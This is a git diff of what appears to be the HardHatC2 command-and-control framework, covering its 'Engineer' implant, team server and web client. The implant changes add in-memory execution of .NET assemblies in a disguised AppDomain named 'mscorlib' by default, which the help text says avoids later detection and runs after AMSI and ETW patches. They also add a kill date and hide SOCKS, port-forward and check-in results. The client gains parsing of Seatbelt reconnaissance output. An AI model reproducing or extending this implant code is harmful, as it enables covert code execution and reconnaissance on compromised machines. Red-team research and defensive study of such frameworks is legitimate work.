diff --git a/ApiModels/Requests/SpawnEngineerRequest.cs b/ApiModels/Requests/SpawnEngineerRequest.cs
index bc375f6e..414d28bd 100644
--- a/ApiModels/Requests/SpawnEngineerRequest.cs
+++ b/ApiModels/Requests/SpawnEngineerRequest.cs
@@ -8,11 +8,16 @@ namespace ApiModels.Requests
{
public class SpawnEngineerRequest
{
+ public DateTime? selectedKillDate { get; set; }
+ public TimeSpan? selectedKillTime { get; set; }
+
public string managerName { get; set; }
public int ConnectionAttempts { get; set; }
public int Sleep { get; set; }
public string? WorkingHours { get; set; }
-
+
+ public DateTime KillDateTime { get; set; }
+
public bool EncodeShellcode { get; set; }
public EngCompileType complieType { get; set; }
diff --git a/Engineer/Commands/InlineAssembly.cs b/Engineer/Commands/InlineAssembly.cs
index b7f4b6af..690953c9 100644
--- a/Engineer/Commands/InlineAssembly.cs
+++ b/Engineer/Commands/InlineAssembly.cs
@@ -36,76 +36,157 @@ public override async Task Execute(EngineerTask task)
assemblyArgument = assemblyArgument.TrimStart(' ');
assemblyArgument = assemblyArgument.TrimStart('\"');
assemblyArgument = assemblyArgument.TrimEnd('\"');
-
-
+ string appDomainName = null;
+ string execMethod = "";
+ bool execGiven = task.Arguments.TryGetValue("/execmethod", out execMethod);
+ if (execGiven)
+ {
+ bool appNameGiven = task.Arguments.TryGetValue("/appdomain", out string appname);
+ if (appNameGiven)
+ {
+ appDomainName = appname;
+ }
+ else
+ {
+ appDomainName = "mscorlib";
+ }
+ }
+ else
+ {
+ appDomainName = "mscorlib";
+ }
+ string output = "";
//set the console out and error to try and capture output from thread execution
- var stdOut = Console.Out;
- var stdErr = Console.Error;
- var ms = new MemoryStream();
-
-
- // use Console.SetOut() to redirect the output to a string
- StreamWriter writer = new StreamWriter(ms) { AutoFlush = true };
-
- //get the current Processes Console and set the SetOut and SetError to the stream writer
- Console.SetOut(writer);
- Console.SetError(writer);
+ var currentout = Console.Out;
+ var currenterror = Console.Error;
try
{
-
// debase64 encode assembly string into a byte array
byte[] assemblyBytes = task.File;
- //make a new thread to run the assembly in and as it gets output from the assembly it will be written to the stream writer
- Thread thread = new Thread(() =>
- {
- //will block so needs its own thread
- Assembly assembly = Assembly.Load(assemblyBytes);
- assembly.EntryPoint.Invoke(null, new[] { $"{assemblyArgument}".Split() });
- });
- //start the thread
- thread.Start();
- string output = "";
- //while the thread is running call Tasking.FillTaskResults to update the task results
- while (thread.IsAlive)
+ if (execMethod != null && execMethod.Equals("UnloadDomain",StringComparison.CurrentCultureIgnoreCase))
{
- //Console.WriteLine("thread is alive");
- //Console.WriteLine("filling task results");
- output = Encoding.UTF8.GetString(ms.ToArray());
- if (output.Length > 0)
+ var appDomainSetup = new AppDomainSetup
{
- //clear the memory stream
- ms.Clear();
- Tasking.FillTaskResults(output, task, EngTaskStatus.Running, TaskResponseType.String);
- output = "";
- }
- if (task.cancelToken.IsCancellationRequested)
+ ApplicationBase = AppDomain.CurrentDomain.BaseDirectory
+ };
+ output += $"[+] creating app domain {appDomainName}\n";
+ var domain = AppDomain.CreateDomain(appDomainName, null, appDomainSetup);
+ var executor = (AssemblyExecutor)domain.CreateInstanceAndUnwrap(Assembly.GetExecutingAssembly().FullName, typeof(AssemblyExecutor).FullName);
+ output += executor.Execute(assemblyBytes, assemblyArgument.Split(), task, appDomainName);
+ output += "\n[*] trying to unload appdomain";
+ AppDomain.Unload(domain);
+ output += "\n[+] app domain unloaded";
+ }
+ else
+ {
+ using var ms = new MemoryStream();
+ using var sw = new StreamWriter(ms)
+ {
+ AutoFlush = true
+ };
+
+ Console.SetOut(sw);
+ Console.SetError(sw);
+ //make a new thread to run the assembly in and as it gets output from the assembly it will be written to the stream writer
+ Thread thread = new Thread(() =>
+ {
+ //will block so needs its own thread
+ Assembly assembly = Assembly.Load(assemblyBytes);
+ assembly.EntryPoint.Invoke(null, new[] { $"{assemblyArgument}".Split() });
+ });
+
+ //start the thread
+ thread.Start();
+ //while the thread is running call Tasking.FillTaskResults to update the task results
+ while (thread.IsAlive)
{
- Tasking.FillTaskResults("[-]Task Cancelled", task, EngTaskStatus.Cancelled, TaskResponseType.String);
- thread.Abort();
- break;
+ output = Encoding.UTF8.GetString(ms.ToArray());
+ if (output.Length > 0)
+ {
+ ms.Clear();
+ Tasking.FillTaskResults(output, task, EngTaskStatus.Running, TaskResponseType.String);
+ output = "";
+ }
+ if (task.cancelToken.IsCancellationRequested)
+ {
+ Tasking.FillTaskResults("[-]Task Cancelled", task, EngTaskStatus.Cancelled, TaskResponseType.String);
+ thread.Abort();
+ break;
+ }
+ Thread.Sleep(10);
}
- Thread.Sleep(10);
+ //finish reading and set status to complete
+ output = Encoding.UTF8.GetString(ms.ToArray());
+ ms.Clear();
+
}
- //finish reading and set status to complete
- output = Encoding.UTF8.GetString(ms.ToArray());
- ms.Clear();
+ Console.SetOut(currentout);
+ Console.SetError(currenterror);
Tasking.FillTaskResults(output, task, EngTaskStatus.Complete, TaskResponseType.String);
-
}
catch (Exception e)
{
- Tasking.FillTaskResults("error: " + e.Message, task, EngTaskStatus.Failed, TaskResponseType.String);
+ //Console.WriteLine(e.Message);
+ //Console.WriteLine(e.StackTrace);
+ Console.SetOut(currentout);
+ Console.SetError(currenterror);
+ Tasking.FillTaskResults($"{output} \n error: " + e.Message, task, EngTaskStatus.Failed, TaskResponseType.String);
}
- finally
+ }
+ }
+
+ internal class AssemblyExecutor : MarshalByRefObject
+ {
+ public string Execute(byte[] asm, string[] arguments,EngineerTask task,string appdomainName)
+ {
+
+
+ using var ms = new MemoryStream();
+ using var sw = new StreamWriter(ms)
+ {
+ AutoFlush = true
+ };
+
+ Console.SetOut(sw);
+ Console.SetError(sw);
+
+ Thread thread = new Thread(() =>
+ {
+ //will block so needs its own thread
+ Assembly assembly = Assembly.Load(asm);
+ assembly.EntryPoint.Invoke(null, new[] { arguments });
+ });
+
+ //start the thread
+ thread.Start();
+ string output = "";
+ //while the thread is running call Tasking.FillTaskResults to update the task results
+ while (thread.IsAlive)
{
- //reset the console out and error
- Console.SetOut(stdOut);
- Console.SetError(stdErr);
+ Console.Out.Flush();
+ Console.Error.Flush();
+ output = Encoding.UTF8.GetString(ms.ToArray());
+ if (output.Length > 0)
+ {
+ Tasking.FillTaskResults(output, task, EngTaskStatus.Running, TaskResponseType.String);
+ output = "";
+ }
+ if (task.cancelToken.IsCancellationRequested)
+ {
+ Tasking.FillTaskResults("[-]Task Cancelled", task, EngTaskStatus.Cancelled, TaskResponseType.String);
+ thread.Abort();
+ break;
+ }
+ Thread.Sleep(10);
}
- return;
+ //finish reading and set status to complete
+ Console.Out.Flush();
+ Console.Error.Flush();
+ output = Encoding.UTF8.GetString(ms.ToArray());
+ return output;
}
}
}
diff --git a/Engineer/Engineer.csproj b/Engineer/Engineer.csproj
index bbfd52a2..f4188842 100644
--- a/Engineer/Engineer.csproj
+++ b/Engineer/Engineer.csproj
@@ -183,6 +183,7 @@
+
diff --git a/Engineer/Extra/Extensions.cs b/Engineer/Extra/Extensions.cs
index 66c71387..029eea17 100644
--- a/Engineer/Extra/Extensions.cs
+++ b/Engineer/Extra/Extensions.cs
@@ -14,21 +14,6 @@ namespace Engineer
{
public static class Extensions
{
- public static IEnumerable GetseralTypes()
- {
- return new List()
- {
- typeof(EngineerCommand),
- typeof(EngineerTask),
- typeof(List),
- typeof(EngineerTaskResult),
- typeof(List),
- typeof(EngineerMetadata),
- typeof(List),
- typeof(C2TaskMessage),
- typeof(List),
- };
- }
public static byte[] JsonSerialize(this T data)
{
@@ -36,7 +21,22 @@ public static byte[] JsonSerialize(this T data)
{
JSONParameters jsonParameters = new JSONParameters();
jsonParameters.UseValuesOfEnums = true;
- string json = JSON.ToJSON(data,jsonParameters);
+ jsonParameters.UseExtensions = false;
+
+ object dataToSerialize;
+
+ if (typeof(T) == typeof(string))
+ {
+ dataToSerialize = new MessageData{ Message = (string)(object)data};
+ }
+ else
+ {
+ dataToSerialize = data;
+ }
+
+ string json = JSON.ToNiceJSON(dataToSerialize, jsonParameters);
+ //Console.WriteLine(json);
+
//write the json string to a memory stream and return the byte array
using (MemoryStream ms = new MemoryStream())
{
diff --git a/Engineer/Functions/Tasking.cs b/Engineer/Functions/Tasking.cs
index fb42afa4..9b3be8f9 100644
--- a/Engineer/Functions/Tasking.cs
+++ b/Engineer/Functions/Tasking.cs
@@ -125,74 +125,75 @@ public static void FillTaskResults(object output, EngineerTask task,EngTaskStatu
}
engTaskResultDic[task.Id].Status = taskStatus;
engTaskResultDic[task.Id].ResponseType = taskResponseType;
- }
- //if command is download then call the Functions.DownloadTracker.SplitFileString function, get the filename from the task.Arguments, and pass the result to the function
- if (task.Command.Equals("download", StringComparison.CurrentCultureIgnoreCase))
- {
- if (engTaskResultDic[task.Id].Status == EngTaskStatus.Complete)
+
+ //if command is download then call the Functions.DownloadTracker.SplitFileString function, get the filename from the task.Arguments, and pass the result to the function
+ if (task.Command.Equals("download", StringComparison.CurrentCultureIgnoreCase))
{
- task.Arguments.TryGetValue("/file", out string filename);
- Functions.DownloadTracker.SplitFileString(filename, engTaskResultDic[task.Id].Result.JsonDeserialize());
- //send each value from the key that matches the filename variable in _downloadedFileParts to the server
- foreach (var value in Functions.DownloadTracker._downloadedFileParts[filename])
+ if (engTaskResultDic[task.Id].Status == EngTaskStatus.Complete)
+ {
+ task.Arguments.TryGetValue("/file", out string filename);
+ Functions.DownloadTracker.SplitFileString(filename, engTaskResultDic[task.Id].Result.JsonDeserialize());
+ //send each value from the key that matches the filename variable in _downloadedFileParts to the server
+ foreach (var value in Functions.DownloadTracker._downloadedFileParts[filename])
+ {
+ engTaskResultDic[task.Id].Result = value.JsonSerialize();
+ SendTaskResult(engTaskResultDic[task.Id]);
+ }
+ }
+ else
{
- engTaskResultDic[task.Id].Result = value.JsonSerialize();
SendTaskResult(engTaskResultDic[task.Id]);
}
}
+ //if Command name is ConnectSocks, SendSocks, ReceiveSocks send a true for ishidden
+ else if (task.Command.Equals("socksConnect", StringComparison.CurrentCultureIgnoreCase) || task.Command.Equals("socksSend", StringComparison.CurrentCultureIgnoreCase) || task.Command.Equals("socksReceive", StringComparison.CurrentCultureIgnoreCase))
+ {
+ engTaskResultDic[task.Id].IsHidden = true;
+ SendTaskResult(engTaskResultDic[task.Id]);
+ }
+ else if (task.Command.Equals("P2PFirstTimeCheckIn", StringComparison.CurrentCultureIgnoreCase))
+ {
+ engTaskResultDic[task.Id].IsHidden = true;
+ SendTaskResult(engTaskResultDic[task.Id]);
+ }
+ else if (task.Command.Equals("CheckIn", StringComparison.CurrentCultureIgnoreCase))
+ {
+ engTaskResultDic[task.Id].IsHidden = true;
+ SendTaskResult(engTaskResultDic[task.Id]);
+ }
+ else if (task.Command.Equals("rportsend", StringComparison.CurrentCultureIgnoreCase) || task.Command.Equals("rportRecieve", StringComparison.CurrentCultureIgnoreCase) || task.Command.Equals("rportforward", StringComparison.CurrentCultureIgnoreCase))
+ {
+ engTaskResultDic[task.Id].IsHidden = true;
+ SendTaskResult(engTaskResultDic[task.Id]);
+ }
+ else if (task.Command.Equals("canceltask", StringComparison.CurrentCultureIgnoreCase))
+ {
+ engTaskResultDic[task.Id].IsHidden = false;
+ SendTaskResult(engTaskResultDic[task.Id]);
+ }
+ else if (task.Command.Equals("UpdateTaskKey", StringComparison.CurrentCultureIgnoreCase))
+ {
+ engTaskResultDic[task.Id].IsHidden = true;
+ SendTaskResult(engTaskResultDic[task.Id]);
+ }
else
{
SendTaskResult(engTaskResultDic[task.Id]);
}
+ if (engTaskResultDic[task.Id].Status != EngTaskStatus.Running)
+ {
+ //if task is not running then remove it from the dictionary to save memory
+ Thread.Sleep(100);
+ engTaskResultDic.TryRemove(task.Id, out _);
+ engTaskDic.TryRemove(task.Id, out _);
+ }
}
- //if Command name is ConnectSocks, SendSocks, ReceiveSocks send a true for ishidden
- else if (task.Command.Equals("socksConnect", StringComparison.CurrentCultureIgnoreCase) || task.Command.Equals("socksSend", StringComparison.CurrentCultureIgnoreCase) || task.Command.Equals("socksReceive", StringComparison.CurrentCultureIgnoreCase))
- {
- engTaskResultDic[task.Id].IsHidden = true;
- SendTaskResult(engTaskResultDic[task.Id]);
- }
- else if (task.Command.Equals("P2PFirstTimeCheckIn", StringComparison.CurrentCultureIgnoreCase))
- {
- engTaskResultDic[task.Id].IsHidden = true;
- SendTaskResult(engTaskResultDic[task.Id]);
- }
- else if (task.Command.Equals("CheckIn", StringComparison.CurrentCultureIgnoreCase))
- {
- engTaskResultDic[task.Id].IsHidden = true;
- SendTaskResult(engTaskResultDic[task.Id]);
- }
- else if (task.Command.Equals("rportsend", StringComparison.CurrentCultureIgnoreCase) || task.Command.Equals("rportRecieve", StringComparison.CurrentCultureIgnoreCase) || task.Command.Equals("rportforward", StringComparison.CurrentCultureIgnoreCase))
- {
- engTaskResultDic[task.Id].IsHidden = true;
- SendTaskResult(engTaskResultDic[task.Id]);
- }
- else if(task.Command.Equals("canceltask",StringComparison.CurrentCultureIgnoreCase))
- {
- engTaskResultDic[task.Id].IsHidden = false;
- SendTaskResult(engTaskResultDic[task.Id]);
- }
- else if (task.Command.Equals("UpdateTaskKey", StringComparison.CurrentCultureIgnoreCase))
- {
- engTaskResultDic[task.Id].IsHidden = true;
- SendTaskResult(engTaskResultDic[task.Id]);
- }
- else
- {
- SendTaskResult(engTaskResultDic[task.Id]);
- }
-
- if(engTaskResultDic[task.Id].Status != EngTaskStatus.Running)
- {
- //if task is not running then remove it from the dictionary to save memory
- engTaskResultDic.TryRemove(task.Id, out _);
- engTaskDic.TryRemove(task.Id, out _);
- }
-
- }
+
+ }
catch (Exception e)
{
//Console.WriteLine(e.Message);
- // Console.WriteLine(e.StackTrace);
+ //Console.WriteLine(e.StackTrace);
}
}
diff --git a/Engineer/Models/CommModule.cs b/Engineer/Models/CommModule.cs
index f51fbb20..177ca828 100644
--- a/Engineer/Models/CommModule.cs
+++ b/Engineer/Models/CommModule.cs
@@ -64,18 +64,18 @@ public bool RecvData(out IEnumerable tasks)
public void SentData(EngineerTaskResult result)
{
- //if the result is already in the Outbound queue then append the result to the existing result and update the status
- if (Outbound.Any(t => t.Id == result.Id))
- {
- var existingResult = Outbound.FirstOrDefault(t => t.Id == result.Id);
- existingResult.Result = existingResult.Result.Concat(result.Result).ToArray();
- existingResult.Status = result.Status;
- }
- else
- {
- Outbound.Enqueue(result);
- }
- }
+ //if the result is already in the Outbound queue then append the result to the existing result and update the status
+ if (Outbound.Any(t => t.Id == result.Id))
+ {
+ var existingResult = Outbound.FirstOrDefault(t => t.Id == result.Id);
+ existingResult.Result = existingResult.Result.Concat(result.Result).ToArray();
+ existingResult.Status = result.Status;
+ }
+ else
+ {
+ Outbound.Enqueue(result);
+ }
+ }
public async Task P2PSent(byte[] tcpData)
{
diff --git a/Engineer/Models/MessageData.cs b/Engineer/Models/MessageData.cs
new file mode 100644
index 00000000..6d85a369
--- /dev/null
+++ b/Engineer/Models/MessageData.cs
@@ -0,0 +1,13 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using System.Threading.Tasks;
+
+namespace Engineer.Models
+{
+ internal class MessageData
+ {
+ public string Message { get; set; }
+ }
+}
diff --git a/Engineer/Program.cs b/Engineer/Program.cs
index 1fd41f1d..a1b30d1a 100644
--- a/Engineer/Program.cs
+++ b/Engineer/Program.cs
@@ -41,6 +41,7 @@ public class Program
public static SleepEnum.SleepTypes Sleeptype = Enum.TryParse("{{REPLACE_SLEEP_TYPE}}", out SleepEnum.SleepTypes sleeptype) ? sleeptype : SleepEnum.SleepTypes.None;
public static DateTime LastP2PCheckIn = DateTime.Now;
public static string ImplantType = "{{REPLACE_IMPLANT_TYPE}}";
+ public static DateTime killDate = DateTime.TryParse("{{REPLACE_KILL_DATE}}", out killDate) ? killDate : DateTime.MaxValue;
public static async Task Main(string[] args)
{
@@ -116,6 +117,11 @@ public static async Task Main(string[] args)
{
try
{
+ if(DateTime.UtcNow > killDate)
+ {
+ _tokenSource.Cancel();
+ break;
+ }
if (ImpersonatedUserChanged)
{
ImpersonatedUser.Impersonate();
diff --git a/HardHatC2Client/Models/TaskResultTypes/MessageData.cs b/HardHatC2Client/Models/TaskResultTypes/MessageData.cs
new file mode 100644
index 00000000..9b9000b2
--- /dev/null
+++ b/HardHatC2Client/Models/TaskResultTypes/MessageData.cs
@@ -0,0 +1,8 @@
+namespace HardHatC2Client.Models.TaskResultTypes
+{
+ public class MessageData
+ {
+ //just a string but this lets me have it as valid json data of Message:stringValue for deseralization
+ public string Message { get; set; }
+ }
+}
diff --git a/HardHatC2Client/Pages/Engineers.razor b/HardHatC2Client/Pages/Engineers.razor
index 4b42e8d9..4d94d9df 100644
--- a/HardHatC2Client/Pages/Engineers.razor
+++ b/HardHatC2Client/Pages/Engineers.razor
@@ -131,7 +131,7 @@
-
+
Create New Engineer
@@ -145,7 +145,11 @@
-
+
+
+
+
+ @*
*@
@@ -309,11 +313,10 @@
private static Stopwatch stopwatch = new Stopwatch();
private static bool IsCurrentLocation { get; set; }
public static bool HideOfflineEngineers { get; set; }
- public delegate void OnStateChangeDelegate();
+ public delegate Task OnStateChangeDelegate();
public static OnStateChangeDelegate OnStateChange;
private static DateTime? LastRefresh { get; set; } = null;
private string searchString1 = "";
-
private bool OpenDialog { get; set; } = false;
private Dictionary ColumnVisibility = new Dictionary
{
@@ -384,7 +387,7 @@
ColumnVisibility[columnName] = !ColumnVisibility[columnName];
}
}
-
+
private string GetCellStyle(string columnName)
{
if (ColumnVisibility.ContainsKey(columnName) && ColumnVisibility[columnName])
@@ -569,14 +572,16 @@
{
string resource = "/engineers";
var createObject = new SpawnEngineerRequest
- {
- managerName = formData.managerName,
- ConnectionAttempts = formData.ConnectionAttempts,
- Sleep = formData.Sleep,
- complieType = formData.complieType,
- WorkingHours = formData.WorkingHours,
- SleepType = formData.SleepType,
- };
+ {
+ managerName = formData.managerName,
+ ConnectionAttempts = formData.ConnectionAttempts,
+ Sleep = formData.Sleep,
+ complieType = formData.complieType,
+ WorkingHours = formData.WorkingHours,
+ SleepType = formData.SleepType,
+ KillDateTime = (DateTime)(formData.selectedKillDate.Value.Date + formData.selectedKillTime),
+ };
+
var request = new RestRequest(resource,Method.Post);
request.AddJsonBody(createObject);
ShowInfoToast("Sending Request To Create Engineer");
@@ -590,8 +595,8 @@
ShowSuccessToast(requestResponse);
}
//reset the form data object
- // formData = new SpawnEngineerRequest();
- // OnStateChange();
+ formData = new SpawnEngineerRequest();
+ await OnStateChange();
}
public static async Task GetAllEngineers()
@@ -781,7 +786,7 @@
}
- public void ImplementOnStateChangeEvent()
+ public async Task ImplementOnStateChangeEvent()
{
if (LastRefresh == null)
{
@@ -794,7 +799,8 @@
if (DateTime.Now.Subtract(LastRefresh.Value).TotalMilliseconds > 500)
{
LastRefresh = DateTime.Now;
- InvokeAsync(StateHasChanged);
+ await Task.Delay(100);
+ await InvokeAsync(StateHasChanged);
}
}
}
diff --git a/HardHatC2Client/Pages/Interact.razor b/HardHatC2Client/Pages/Interact.razor
index d8afc703..80e86a1b 100644
--- a/HardHatC2Client/Pages/Interact.razor
+++ b/HardHatC2Client/Pages/Interact.razor
@@ -184,14 +184,7 @@
else
{
var output = TaskOutputDic[currenttask].Result as string;
- // Unescape the string before splitting
- string unescapedOutput = Regex.Unescape(output);
- var lines = unescapedOutput.Split(Environment.NewLine, StringSplitOptions.None);
- // Using a loop
- foreach (var line in lines)
- {
- @CleanString(line)
- }
+ @output
}
}
else
@@ -527,6 +520,10 @@
{
return Icons.Filled.Warning;
}
+ else if (TaskStatusDic[currenttask] == EngineerTaskResponse.EngTaskStatus.CompleteWithErrors)
+ {
+ return Icons.Filled.CheckCircle;
+ }
else
{
return Icons.Filled.Info;
@@ -558,6 +555,10 @@
{
return Color.Warning;
}
+ else if (TaskStatusDic[currenttask] == EngineerTaskResponse.EngTaskStatus.CompleteWithErrors)
+ {
+ return Color.Warning;
+ }
else
{
return Color.Info;
@@ -1010,7 +1011,7 @@
taskResult = new EngineerTaskResult
{
Id = taskid,
- Result = requestResponse.Result.Deserialize(),
+ Result = requestResponse.Result.Deserialize()?.Message.RemoveDoubleEmptyLines() ?? string.Empty, // should help to ensure when only a string comes back it is still formatted like true json.
status = (EngineerTaskResult.EngTaskStatus)requestResponse.status,
ResponseType = (EngineerTaskResult.TaskResponseType)requestResponse.ResponseType,
};
@@ -1042,6 +1043,8 @@
break;
}
+
+
if(!EngineerReturnedTaskIds.ContainsKey(engineerId))
{
EngineerReturnedTaskIds.Add(engineerId, new List());
@@ -1062,6 +1065,21 @@
{
await OnStateChange();
}
+ //if inputDic shows command name is seatbelt call the ParseAndStoreCommandOutput if command status is complete
+ if (TaskInputDic.ContainsKey(taskid))
+ {
+ bool containsSeatbelt = TaskInputDic[taskid].Arguments.Values.Any(value => value.Contains("seatbelt"));
+ if (containsSeatbelt)
+ {
+ if (TaskStatusDic[taskid] == EngineerTaskResponse.EngTaskStatus.Complete)
+ {
+ //call the ParseAndStoreCommandOutput method
+ //split on all the newline chars
+ string[] parseReult = taskResult.Result.ToString().Split(new[] { Environment.NewLine }, StringSplitOptions.None);
+ await ParseAndStoreCommandOutput(parseReult, "seatbelt", taskid, engineerId);
+ }
+ }
+ }
return taskResult;
}
return null;
@@ -1116,15 +1134,15 @@
//List commandKeys = new();
//take each key and value from the commandOutput and join them into a string seperatted by || then add that string to the ParsedCommandOutput list
//get the engineer object with the matching id and return its hostname
- var engineer = InteractEngineers.Where(s => s.Id == engineerID).FirstOrDefault();
+ var engineer = Engineers.EngineerList.Where(s => s.Id == engineerID).FirstOrDefault();
string hostname = engineer.Hostname;
string username = engineer.Username;
foreach(KeyValuePair kvp in commandOutput)
{
ParsedCommandOutput.Add($"{kvp.Key}||{kvp.Value}");
//commandKeys.Add(kvp.Key);
- string entityName = ReconCenter.DetermineEntity(new Dictionary{ { "Hostname", hostname },{ "Username", username } }, CommandName, kvp.Key);
- await ReconCenter.AddAutoParsedCommandEntry(entityName, kvp.Key,kvp.Value,CommandName,hostname);
+ //string entityName = ReconCenter.DetermineEntity(new Dictionary{ { "Hostname", hostname },{ "Username", username } }, CommandName, kvp.Key);
+ //await ReconCenter.AddAutoParsedCommandEntry(entityName, kvp.Key,kvp.Value,CommandName,hostname);
}
ParsedCommandOutputDic.Add(taskid, ParsedCommandOutput);
}
diff --git a/HardHatC2Client/Utilities/CommandValidation.cs b/HardHatC2Client/Utilities/CommandValidation.cs
index 348cc8da..ab59e413 100644
--- a/HardHatC2Client/Utilities/CommandValidation.cs
+++ b/HardHatC2Client/Utilities/CommandValidation.cs
@@ -167,7 +167,7 @@ public static bool ValidateCommand(string input, out Dictionary a
new CommandItem()
{
Name = "inlineAssembly",
- Keys = {{"/file",true},{"/args",false},}
+ Keys = {{"/file",true},{"/args",false}, {"/execmethod",false }, {"/appdomain",false },}
},
new CommandItem()
{
diff --git a/HardHatC2Client/Utilities/Help.cs b/HardHatC2Client/Utilities/Help.cs
index a25c970d..f0660fba 100644
--- a/HardHatC2Client/Utilities/Help.cs
+++ b/HardHatC2Client/Utilities/Help.cs
@@ -241,12 +241,12 @@ public enum OpsecStatus
{
Name = "inlineAssembly",
Description = "runs the target assembly in memory with the supplied arguments",
- Usage = "inlineAssembly /file value /args value",
+ Usage = "inlineAssembly /file value /args value /execmethod OptionalValue /appdomain OptionalValue",
NeedsAdmin = false,
Opsec = OpsecStatus.NotSet,
MitreTechnique = "",
Details = "reads the assembly off disk from the teamserver and sends it to the engineer and runs it with the supplied arguments in memory, uses an amsi_patch and etw_patch before running the assembly",
- Keys = "/file - the location of the assembly to run, /args - the arguments to pass to the assembly"
+ Keys = "/file - the location of the assembly to run \n /args - the arguments to pass to the assembly \n /execmethod - valid options are UnloadDomain or classic \n (UnloadDomain creates a new app domain then unloads it, can cause issues, classic just loads the assembly in the current appdomain but that means it can be seen later) \n /appdomain the name of the appdomain default is mscorlib"
},
new HelpMenuItem()
{
diff --git a/HardHatC2Client/Utilities/HelperFunctions.cs b/HardHatC2Client/Utilities/HelperFunctions.cs
new file mode 100644
index 00000000..e21637ed
--- /dev/null
+++ b/HardHatC2Client/Utilities/HelperFunctions.cs
@@ -0,0 +1,20 @@
+using System.Text.RegularExpressions;
+
+namespace HardHatC2Client.Utilities
+{
+ public static class HelperFunctions
+ {
+
+ ///
+ /// Cleans empty lines from the top and bottom of data and reduces consecutive empty lines down to one line.
+ ///
+ ///
+ /// The update string with fixed whitespace
+ public static string RemoveDoubleEmptyLines(this string input)
+ {
+ string pattern = @"(?<=\S)\n{2,}(?=\S)";
+ string replacement = "\n";
+ return Regex.Replace(input, pattern, replacement);
+ }
+ }
+}
diff --git a/HardHatC2Client/Utilities/Serilization.cs b/HardHatC2Client/Utilities/Serilization.cs
index c0064bf8..b784d82d 100644
--- a/HardHatC2Client/Utilities/Serilization.cs
+++ b/HardHatC2Client/Utilities/Serilization.cs
@@ -35,37 +35,72 @@ public static byte[] Serialise(this T data)
public static T Deserialize(this byte[] data)
{
string json = null;
+ StringBuilder concatenatedMessages = new StringBuilder();
try
{
json = Encoding.UTF8.GetString(data);
if (data.Length > 0)
{
- if (IsValidJson(json))
+ if (typeof(T) == typeof(MessageData))
{
- JsonSerializerOptions jsonSerializerOptions = new JsonSerializerOptions();
- jsonSerializerOptions.AllowTrailingCommas = true;
- return JsonSerializer.Deserialize(json, jsonSerializerOptions);
- }
- else if (typeof(T) == typeof(string))
- {
- json.Trim('"');
- return (T)(object)json;
+ if (IsValidJson(json))
+ {
+ JsonSerializerOptions jsonSerializerOptions = new JsonSerializerOptions();
+ jsonSerializerOptions.AllowTrailingCommas = true;
+ var deserializedObject = JsonSerializer.Deserialize(json, jsonSerializerOptions);
+ return deserializedObject;
+ }
+ else
+ {
+ // Split the input string by '}'
+ string[] jsonParts = json.Split(new[] { '}' }, StringSplitOptions.RemoveEmptyEntries);
+
+ foreach (var part in jsonParts)
+ {
+ string cleanedJson = part.Trim() + "}";
+ if (IsValidJson(cleanedJson))
+ {
+ JsonSerializerOptions jsonSerializerOptions = new JsonSerializerOptions();
+ jsonSerializerOptions.AllowTrailingCommas = true;
+ var deserializedObject = JsonSerializer.Deserialize(cleanedJson, jsonSerializerOptions);
+ if (deserializedObject is MessageData messageData)
+ {
+ concatenatedMessages.Append(messageData.Message);
+ }
+ }
+ else if (typeof(T) == typeof(string))
+ {
+ concatenatedMessages.Append(cleanedJson);
+ }
+ else
+ {
+ Console.WriteLine("Input data is not a valid JSON & is not a normal string, returning default value");
+ return default(T);
+ }
+ }
+ return (T)(object)new MessageData() { Message = concatenatedMessages.ToString() };
+ }
}
else
{
- Console.WriteLine("Input data is not a valid JSON & is not a normal string, returning default value");
- return default(T);
+ if (IsValidJson(json))
+ {
+ JsonSerializerOptions jsonSerializerOptions = new JsonSerializerOptions();
+ jsonSerializerOptions.AllowTrailingCommas = true;
+ var deserializedObject = JsonSerializer.Deserialize(json, jsonSerializerOptions);
+ return deserializedObject;
+ }
+ else
+ {
+ return default(T);
+ }
}
}
- else
- {
- return default(T);
- }
-
+ return default(T);
}
catch (Exception ex)
{
- Console.WriteLine(json);
+ //Console.WriteLine(json);
Console.WriteLine(ex.Message);
Console.WriteLine(ex.StackTrace);
return default(T);
diff --git a/TeamServer/Controllers/EngineersController.cs b/TeamServer/Controllers/EngineersController.cs
index d8ba4075..93807c0d 100644
--- a/TeamServer/Controllers/EngineersController.cs
+++ b/TeamServer/Controllers/EngineersController.cs
@@ -249,6 +249,8 @@ public IActionResult CreateEngineer([FromBody] SpawnEngineerRequest request)
file = file.Replace("{{REPLACE_UNIQUE_TASK_KEY}}", Encryption.UniversalTaskEncryptionKey);
+ file = file.Replace("{{REPLACE_KILL_DATE}}", request.KillDateTime.ToString());
+
if(request.implantType == SpawnEngineerRequest.ImplantType.Engineer)
{
Console.WriteLine("Implant is an engineer");
diff --git a/TeamServer/Models/Engineers/TaskResultTypes/MessageData.cs b/TeamServer/Models/Engineers/TaskResultTypes/MessageData.cs
new file mode 100644
index 00000000..576222ca
--- /dev/null
+++ b/TeamServer/Models/Engineers/TaskResultTypes/MessageData.cs
@@ -0,0 +1,8 @@
+namespace TeamServer.Models.Engineers.TaskResultTypes
+{
+ public class MessageData
+ {
+ //just a string but this lets me have it as valid json data of Message:stringValue for deseralization
+ public string Message { get; set; }
+ }
+}
diff --git a/TeamServer/Services/Handle_Implants/Handle_Engineer.cs b/TeamServer/Services/Handle_Implants/Handle_Engineer.cs
index 6ef32b3d..3d9a1d44 100644
--- a/TeamServer/Services/Handle_Implants/Handle_Engineer.cs
+++ b/TeamServer/Services/Handle_Implants/Handle_Engineer.cs
@@ -10,6 +10,7 @@
using TeamServer.Controllers;
using TeamServer.Models;
using TeamServer.Models.Dbstorage;
+using TeamServer.Models.Engineers.TaskResultTypes;
using TeamServer.Models.Extras;
using TeamServer.Utilities;
using EngTaskStatus = TeamServer.Models.EngTaskStatus;
@@ -175,8 +176,9 @@ public async Task HandleEngineerAsync(EngineerMetadata engineerme
// we build a list of engineer ids because some tasks can be from P2P implants and should go to tright place later
List engIds = new List();
foreach (var result in results)
- {
- if (!engIds.Contains(result.EngineerId))
+ {
+
+ if (!engIds.Contains(result.EngineerId))
{
engIds.Add(result.EngineerId);
}
@@ -294,7 +296,7 @@ public async Task HandleEngineerAsync(EngineerMetadata engineerme
{
DatabaseService.AsyncConnection.InsertAsync((EngineerTaskResult_DAO)result);
HardHatHub.AlertEventHistory(new HistoryEvent() { Event = $"Got response for task {result.Id}", Status = "Success" });
- string ResultValue = result.Result.Deserialize();
+ string ResultValue = result.Result.Deserialize()?.Message ?? string.Empty;
